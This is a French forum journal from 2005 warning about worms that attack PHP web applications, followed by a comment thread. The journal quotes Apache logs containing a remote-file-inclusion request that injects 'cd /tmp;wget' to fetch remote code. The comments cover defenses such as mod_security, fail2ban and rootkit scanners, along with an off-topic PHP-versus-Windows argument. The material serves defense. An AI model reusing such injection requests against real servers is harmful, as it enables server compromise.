Journal ATTENTION à vos serveurs web, des worms(vers) circule !

Posté par  (site web personnel) .
Étiquettes : aucune
0
17
déc.
2005
Cher journal,

Je t'écrit pour t'annoncer qu'il y'a depuis quelque jours (environ depuis le 10 Dec 2005), une tres forte augmentation d'attaque sur mon serveur web (apache), d'ailleur il a réussi à se faire compromettre.

Voici les test qu 'il essait de faire

xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:08 +0100] "GET /modules/Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://xxx.xxx.xx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx.(...) HTTP/1.1" 404 337 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:09 +0100] "GET /Forums/admin/admin_styles.phpadmin_styles.php?phpbb_root_path=http://xxx.xxx.xxx.xxx/cmd.gif?&cmd=cd%20/tmp;wget%20xxx(...) HTTP/1.1" 404 329 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:14 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:15 +0100] "POST /blog/xmlrpc.php HTTP/1.1" 404 299 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:17 +0100] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 306 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:18 +0100] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 307 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:19 +0100] "POST /drupal/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:20 +0100] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 307 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:22 +0100] "POST /xmlrpc.php HTTP/1.1" 404 294 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:24 +0100] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:16:38:25 +0100] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-"
xxx.xxx.xxx.xxx - - [16/Dec/2005:19:38:16 +0100] "POST /wordpress/xmlrpc.php HTTP/1.1" 200 314 "-"


Donc si vous avez les projets suivant

phpbb
mambo
wordpress
phpgroupware
drupal
blogs
utilisant le support xmlrpc

Je vous conseille de mettre à jours ces applis
Et par la même occasion de renommer les urls de vos appli afin d'éviter ce genre de scan automatique(bien entendu si le site n'est pas connue des moteurs de recherche).

Plus d'info ici
http://www.christopher-kunz.de/serendipity/archives/76-Mambo(...)
Variante
http://vil.nai.com/vil/content/v_136821.htm
  • # WordPress

    Posté par  (site web personnel) . Évalué à 5.

    Je n'ai pas regardé pour les autres, mais seules les version de Wordpress antérieures à la 1.5 sont vulnérables, comme indiqué sur http://wordpress.org/development/2005/11/wordpress-is-secure(...)
  • # heu ...

    Posté par  (site web personnel) . Évalué à -10.

    C'est une impression où il n'y a que des trucs en PHP dans la liste ?

    Ici meme, plein de gens ont tendance a lancer selon les occasions un "windows ca pue, c plein de bugs, plein de vers" ...

    quand awstats a eu un probleme similaire, plein de monde a été craché sur perl, sur l'illisibilité, l'immaintenabilité, ... ( à part ca, les failles de secu dans perl, il n'y en a pas des masses ).

    Si l'on remplace un peu par s/windows/php/ , on trouve facilement pleins de gens pour défendre PHP, l'esprit du libre, et dire que cela est faux que PHP est bien ...

    mais au fait, windows, awstats et PHP n'ont ils pas tous simplement un probleme entre la chaise et le clavier des developpeurs ?

    donc, ca serait cool que l'on arrete de dire "windows ca pue c boggé" ou que "perl c trop nul", alors que PHP contient moins de ligne de code que windows et a la societe Zend et une communauté derriere, et se mange regulierement des vers et des failles de sécurité.
    • [^] # Re: heu ...

      Posté par  (site web personnel) . Évalué à 6.

      Heu donc ton argument la c'est que finalement que ce soit windows® ou des applications php c'est à cause des développeurs et pas des languages utilisés que y'a des bugs/failles/etc. ?

      Parcque à ce que je sache, je n'ai jamais vus personne critique le ASM/C/C++ avec comme argument que Windows est fait avec ça et que c'est pourris.

      De la même maniére ici ce n'est pas PHP qui est incriminé, mais des bugs/failles dans des logiciels écrit en PHP.

      Bref, trop gros, passera pas.
      • [^] # Re: heu ...

        Posté par  (site web personnel) . Évalué à 2.

        comme l'implementation "native" de XMLRPC dans PHP ? et c'est la premiere faille XML_RPC dans PHP ?

        critiquer le C++, le C, ou l'assembleur est tout a fait possible mais sur ce qu'ils fournissent. le C ne fourni rien d'autre qu'un langage vide. si tu as un doute, essaie de faire un "hello world" sans utiliser un quelconque include.

        PHP fourni toute une tripotée de trucs. bien souvent quand ce n'est pas l'interpreteur qui merde, c'est la configuration de PHP qui fait que ...

        vu l'ampleur que prend PHP, je constate que l'on retrouve les memes problemes avec PHP qu'avec windows, sauf que là :
        - PHP peut etre mis a jour facilement, simplement, gratuitement
        - PHP a un code source public
        - PHP publie des bulletin d'alerte
        - PHP a un bug tracker public et des ML public

        Donc au final, elle est ou la difference entre PHP et windows ? je maintiens que le probleme est avant tout humain pas technique. Mais dire, c'est la faute aux "vilains" autres est toujours plus facile que de se regarder soi ;)
        • [^] # Re: heu ...

          Posté par  (site web personnel) . Évalué à 9.

          si tu as un doute, essaie de faire un "hello world" sans utiliser un quelconque include.



          long int syscall (long int __sysno, ...) ;

          int main()
          {
          syscall (4, 1, "Hello World\n", 12) ;
          }


          J'ai gagné ;)
          • [^] # Re: heu ...

            Posté par  (site web personnel) . Évalué à 2.

            heu ... tu as testé ?

            syscall() est dans unistd.h .
            gcc -nostdinc -nostdlib me dit undefined symbol syscall ... :)
            • [^] # Re: heu ...

              Posté par  (site web personnel) . Évalué à 4.

              si tu as un doute, essaie de faire un "hello world" sans utiliser un quelconque include.

              Heu, tu vois un include dans mon code la ? tu n'as pas dit "sans include et sans librarie" (oui je sais on dit bibliotheque)
              • [^] # Re: heu ...

                Posté par  (site web personnel) . Évalué à 2.

                gcc inclut par default plusieur bibliotheques.
                Il n'y a pas d'include explicite mais des includes explicites dans ton codes.

                Voili-voila :)
          • [^] # Re: heu ...

            Posté par  (site web personnel) . Évalué à 1.

            tester avec cc sur du DEC

            ça marche comme un charme :)
        • [^] # Commentaire supprimé

          Posté par  . Évalué à 0.

          Ce commentaire a été supprimé par l’équipe de modération.

          • [^] # Re: heu ...

            Posté par  . Évalué à 0.

            siouplay pourriez-vous arrêter cette discussion inutile ? pourquoi comparer php et windows ?


            Note : sous ubuntu, j'ai une icone qui s'affiche lorsqu'il faut que je mette à jour mon système, et si je veux le faire à un instant donné, j'ai une autre icone. La même chose que WindowsUpdate.
            • [^] # Commentaire supprimé

              Posté par  . Évalué à 1.

              Ce commentaire a été supprimé par l’équipe de modération.

              • [^] # Re: heu ...

                Posté par  . Évalué à -1.

                Je ne poste pas un commentaire pour dire qu'un autre est inutile, je poste un commentaire pour dire que tous les messages précédents sont inutiles par hors-sujet.

                On parle de vulnérabilité PHP, et ça finit pas la sacro-sainte croisade contre windows. Ce n'est pas, à mes yeux, très constructifs.

                Mais peut-être que mon commentaire est lui aussi inutile. :-)
                • [^] # Re: heu ...

                  Posté par  (site web personnel) . Évalué à -2.

                  Mais peut-être que mon commentaire est lui aussi inutile. :-)
                  Si on trouve cette phrase pertinente, on clique sur "inutile" ou "pertinent" ?

                  pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.

                  • [^] # Re: heu ...

                    Posté par  . Évalué à -2.

                    sur pertinent ça remontera mon score :-)
          • [^] # Re: heu ...

            Posté par  . Évalué à 9.

            Si tu était un débutant qui découvre à peine Linux, je comprendrais que tu fasse ce genre d'erreurs grossières et classiques ...

            Il te met à jour ton photoshop, ton itunes, ton xxx, ton WindowsUpdate ?
            Parce que mon apt-get, lui, me met à jour tout mes softs, pas que la base du système, et il le fait chaque nuit, sans que j'ai à y penser.

            Encore heureux que ce soit facile WindowsUpdate, vu ça ne fait pas grand chose. Mais apt/urmi/ou autre en crontab, c'est pas plus compliqué.

            Ta remarque sur bugzilla est encore plus stupide, car ça concerne les bugs pas corrigés. Et comment il fait ton WindowsUpdate avec les bugs pas corrigés ? Il en parle pas ? Et bien tu a qu'a les ignorer aussi sous Linux!
    • [^] # Re: heu ...

      Posté par  . Évalué à 2.

      Il y'a malgré tout une légère différence:
      - d'un côté, tu parle d'un poste client qui n'est pas censé exposer d'aspérités (services, etc.) vers Internet pour être sujet à des attaques.
      - de l'autre de notion serveur où PHP participe, il est vrai, en tant que langage de programmation à exposer des services et donc des points d'entrées vers Internet.

      Je rejoins donc l'idée que comparer Windows à PHP n'a pas de sens, tu peux éventuellement comparer Windows à Linux pour un usage comparable (serveur vs serveur ou client vs client), ou encore les possibilité de différentes extensions ou bibliothèques C/C++/Java/PHP mais en soit, comparer un langage de programmation avec un OS, là, je ne vois pas ...

      Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

      • [^] # Re: heu ...

        Posté par  (site web personnel) . Évalué à 2.

        oui, un os ou une vm sont deux choses differentes. mais je ne compare que le comportement utilisateur & developpeur qui est identique et qui mene au meme resultat :
        - ignorance des bases en securité
        - absence de mises a jours
        - nombres de machines compromises trop important

        ce n'est pas tres compliqué de controler des parametres de l'exterieur des betes fonctions du genre :

        $toto = je_ne_garde_que_les_nombres_et_le_point( get_param( "toto" ) )

        cette fonction ne faisant qu'une substitution de tous les caracteres n'etant pas un nombre ou un point ( une regexp ).

        des fonctions comme celles la forment la base pour eliminer tout risque d'injection aussi conne qu'une injection via un wget ...

        sinon aucun de vous n'a noté qu'il reporte une faille dans Mambo ( http://seclists.org/lists/bugtraq/2005/Dec/0058.html ) parlant du ver elxbot et que l'auteur semble la confondre avec un autre ver lupper ( http://vil.nai.com/vil/content/v_136821.htm ) qui utilise la faille XML_RPC de PHP datant de juillet 2005 ?
        • [^] # Re: heu ...

          Posté par  . Évalué à 0.

          Dans ce cas, on peut aussi comparer à une voiture avec ses conducteurs tant qu'on y est:
          - ignorance des bases en securité
          - absence d'entretien des plaquettes de frein, du niveau d'huile, etc.
          - nombres de voitures en mauvais état trop important

          Par ailleurs dans ton exemple, tu parles d'une mauvaise programmation (pas de vérification des paramètres). Ce type de problème n'est pas lié à PHP, il me semble lire régulièrement des annonces de failles de type buffer-overflow dans des langages tout autre.
          Quand on découvre une faille dans Windows, personne n'accuse le C++ d'y être pour quelque chose.

          Donc merci de ne pas faire de lien entre un langage et les applications qui sont développées avec.

          Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

          • [^] # Re: heu ...

            Posté par  (site web personnel) . Évalué à 1.

            PHP et C++ ont moins de choses en commun que PHP et windows :

            - C = langage de programmation ( pas de libc désolé :p )
            - C++ = langage de programmation + a la rigueur le peu qu'est la STL
            - PHP = langage de programmation + ensemble de bibliotheques + VM d'execution
            - Perl = langage de programmation + ensemble de bibliotheques + VM d'execution
            - Windows = ensembles de bibliotheques + VM d'execution + a la rigueur langages de scripts tel que les WSH VBScript et JScript
            • [^] # Re: heu ...

              Posté par  . Évalué à 2.

              > PHP et C++ ont moins de choses en commun que PHP et windows
              Il vaut mieux lire ça que d'être aveugle. Il me semblait au dernière nouvelle que C++ et Windows était aussi un peu lié quand même, non ?
              A ce rythme, on met tout dans le même panier dès lors qu'il y'a un utilisateur dans la boucle et la sécurité de Windows est lié aux failles de C++, la sécurité de Mambo, phpBB est lié aux failles de PHP, etc.

              En tout cas, je suis content d'apprendre que tout langage de script ou disposant d'une VM (comme Java par exemple) est pour toi comparable à un OS.

              Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

            • [^] # Re: heu ...

              Posté par  . Évalué à 1.

              Je vois que le seul argument que tu trouves à opposer est d'user du moinssage. D'un autre côté, c'est peut-être le moins mauvais de tes propos dans ce sujet.

              Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

              • [^] # Re: heu ...

                Posté par  (site web personnel) . Évalué à 2.

                http://www.mouns.net/que-dis-tu.png

                cela s'appelle comment ce que tu viens de dire ?
                • [^] # Re: heu ...

                  Posté par  . Évalué à 1.

                  > cela s'appelle comment ce que tu viens de dire ?
                  Hum.... une vérité qui blesse ??? :-)

                  A la prochaine.

                  Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

                  • [^] # Re: heu ...

                    Posté par  (site web personnel) . Évalué à 2.

                    ce que tu fais se nomme une attaque ad-hominem qui se dit quand on ne peut decredibiliser les idees d'un homme, on decredibilise l'homme lui-meme .
                    • [^] # Re: heu ...

                      Posté par  . Évalué à 0.

                      > ce que tu fais se nomme une attaque ad-hominem qui se dit quand on ne peut decredibiliser les idees d'un homme, on decredibilise l'homme lui-meme .

                      Si penser cela peut t'aider à te donner bonne conscience et te convaincre que tu es dans le vrai, qu'il en soit ainsi. Quoi qu'il en soit, tu n'avances toujours pas plus d'arguments.

                      Et j'attends toujours que tu dises quelque chose d'intéressant et convaincant sur ton rapprochement entre PHP et Windows.
                      D'ici là, je continuerai à penser que tu as dit n'importe quoi et que pour une raison d'orgueil, tu n'es pas fichu de reconnaître que tu t'es trompé:
                      PHP est un langage de programmation comme tant d'autres et le problème vient de ce que l'on en fait et les failles découlent de cela comme avec tout autre langage.
                      Windows un système d'exploitation qui prend en charge l'accès et la gestion des ressources systèmes et on en attend par là une certaines gestion de la sécurité afférente, ce que l'on attend pas d'un langage de programmation.

                      Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

  • # Et PhpMyAdmin

    Posté par  (site web personnel) . Évalué à 2.

    Il y a aussi PhpMyAdmin qui est victime d'une faille, j'ai vu des scans sur certaines url dans mes logs.
    • [^] # Re: Et PhpMyAdmin

      Posté par  (site web personnel) . Évalué à 0.

      Pour dimunié le risque d'attaque, dans apache je créer des alias qui pointe directement vers l'appli d'origine, par exemple je prefixe les noms de mes applis par secure_

      Alias /sec_dotclear/ /usr/local/dotclear/
      Alias /secure_phpmyadmin /usr/local/phpmyadmin/
      • [^] # Re: Et PhpMyAdmin

        Posté par  . Évalué à 1.

        Je ne saisis pas trop le gain en sécurité obtenu mise à part le fait de trouver la bonne URL d'accès. Cependant, pour peu qu'un lien pointe sur ton DotClear depuis une page accessible à un moteur de recherche, et voilà ton blog et découvert et tout aussi accessible que les autres.

        Je pense que la suggestion de renommage concernait carrèment les nom des fichiers de script eux-mêmes mais cela signifie aussi aller vérifier les interdépendances entre les différents fichiers de l'application.

        Si vous n'aimez pas ce commentaire c'est qu'il est ironique.

        • [^] # Re: Et PhpMyAdmin

          Posté par  . Évalué à 6.

          une idée de projet : faire un script / programme qui modifie certains fichiers de configurations de ces applications php en renommant les fichiers sensibles sous un nouveau nom (aléatoire) et répercutant le nom dans le reste de la config.
          Ex : config.php -> conf_ig_6516.php etc.
          ce qui rendrait ces fichiers plus difficile à trouver pour un hacker

          Only wimps use tape backup: real men just upload their important stuff on megaupload, and let the rest of the world ~~mirror~~ link to it

        • [^] # Re: Et PhpMyAdmin

          Posté par  (site web personnel) . Évalué à 1.

          Euh, as tu lu le journal en entier ?

          Car je disais

          Et par la même occasion de renommer les urls de vos appli afin d'éviter ce genre de scan automatique(bien entendu si le site n'est pas connue des moteurs de recherche).


          Ce qui voulait dire, un serveur web inconnue des moteurs des recherches et d'autre site, donc en gros un serveur web pour son utilisation personelle.

          Mais en aucun cas j'ai dis que c'etait la solution miracle contre les attaques( c'est juste un conseil)
  • # Utilisation de mod_security et des htaccess

    Posté par  (site web personnel) . Évalué à 2.

    Je pense qu'utiliser ces 2 moyens devrait permettre de limiter les dégats non ?
    Si le serveur web refuse ou demande une identification avant de traiter les requetes piégé, le worm n'aura aucun effet.
    Ca n'empeche pas de mettre à jour ses applications web mais je pense que bloquer les requetes potentiellement piégé aiderait contre les failles à l'avenir.
    (Deja bloquer les requetes qui contiennent un "wget http://" ca limiterai les probléme)
  • # Bingo !

    Posté par  . Évalué à 1.

    Merci pour l'info, je viens juste d'y avoir droit. Exactement le même scan, mais comme je n'utilise aucune des applications ci-dessus (je tourne sous Dotclear) ils ont apparement fait chou blanc ! Rien de suspect dans /tmp et pas de processus suspect qui tourne sur le serveur...
    Comme quoi même un petit serveur hébergé à la maison, référencé nulle part, utilisé avec un DNS dynamique (DynDNS) et allumé quelques heures par jour seulement peut se faire attaquer ... Décidemment, Internet est un monde dangereux ;-)
    • [^] # Re: Bingo !

      Posté par  . Évalué à 2.

      tu veux dire SURTOUT un petit serveur perso, heberge a l'arrache sur une machine perso par un mec qui a beaucoup de chance de rien y connaitre et d'avoir des paquets out of date sur une machine trouee avec des mot de passe triviaux a des chances de se faire compromettre...
      • [^] # Re: Bingo !

        Posté par  . Évalué à 0.

        Mes paquets sont à jour, mes mots de passe ne sont pas triviaux (chiffres et lettre mélangés), et le serveur est sous Debian Sarge, avec le minimum de paquets installés donc logiquement ça devrait le faire, même si je peux en partie me classer dans la catégorie du "mec qui a beaucoup de chance de rien y connaitre".
        Malgré tout mon serveur ne doit pas être trop mal protégé vu que je viens d'avoir droit à une deuxième couche d'attaques et que je n'ai pas l'impression que les digues aient sautées. Mais rien n'est moins sûr et le fait est que je ne suis pas un caïd d'Apache. Donc si tu as des tuyaux sur la façon de vérifier si je n'ai pas été compromis, je suis preneur !

        Je viens de regarder les fichiers modifiés au cours de la journée (find / -mtime -1 \! -type d -print) et je n'ai rien détecté de suspect, mais comme je ne sais pas trop ce que je dois chercher ...
        • [^] # Re: Bingo !

          Posté par  . Évalué à 2.

          oula, 'tention, je dis pas que t'es une ouiche lorraine, je me permettrais pas, je te connais pas.

          Par contre, ce qui est sur, c'est que les plages d'ip de free, mamadoo, 9 etc. sont des cibles de choix pour une personne qui cherche une machine facile a compromettre, etant donne le niveau a priori super faible de l'administrateur suppose de la machine.

          Et que donc des scans de ces plages d'ip et des attaques automatisees sont beaucoup plus "normales" que sur des serveurs pro avec des mecs qui savent y faire derriere.
          • [^] # Re: Bingo !

            Posté par  . Évalué à 1.

            " oula, 'tention, je dis pas que t'es une ouiche lorraine, je me permettrais pas, je te connais pas."

            Y'a pas de mal, vu que je ne suis qu'un amateur un peu aguéri et pas un pro ... (Tiens, ceci dit, puisque tu m'y fait penser, faut que je m'en prépare une pour ce soir de ouiche lorraine (pour reprendre Dustin Hofman dans "Le grand détournement" ... à moins que ce ne soit "La classe américaine" ...))

            Sinon en effet l'histoire du scan sur des adresses grand public est loin d'être con, je n'avais pas pensé à ce détail. Donc va falloir que je blinde au maximum la bête. Est-ce que quelqu'un a testé http://www.modsecurity.org/ sur une Debian (j'ai cru voir que des paquets étaient disponibles ...) et aurait un lien sur la manière de configurer simplement tout ça ?
        • [^] # Re: Bingo !

          Posté par  (site web personnel) . Évalué à 2.

          > mais comme je ne sais pas trop ce que je dois chercher ...

          Commences donc par installer rkhunter et/ou chkrootkit puis mets une vérif journalière dans un crontab juste après le backup que tu ne dois pas manquer d'avoir. ;)
        • [^] # Re: Bingo !

          Posté par  (site web personnel) . Évalué à 3.

          J'oubliais un détail qui peut être utile à pas mal de monde: il existe un script nommé fail2ban qui tourne en tant que démon: http://sourceforge.net/projects/fail2ban et qui exécute des contrôles d'activité pour ssh et Apache. Dès lors qu'un certain nombre de tentatives (tout est paramétrable) infructueuses ont été repérées, le script appelle iptables pour bloquer l'IP du malfaisant pendant le temps indiqué dans le fichier de conf.
          J'utilise ce script en python depuis 6 mois, et son installation m'a changé la vie.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.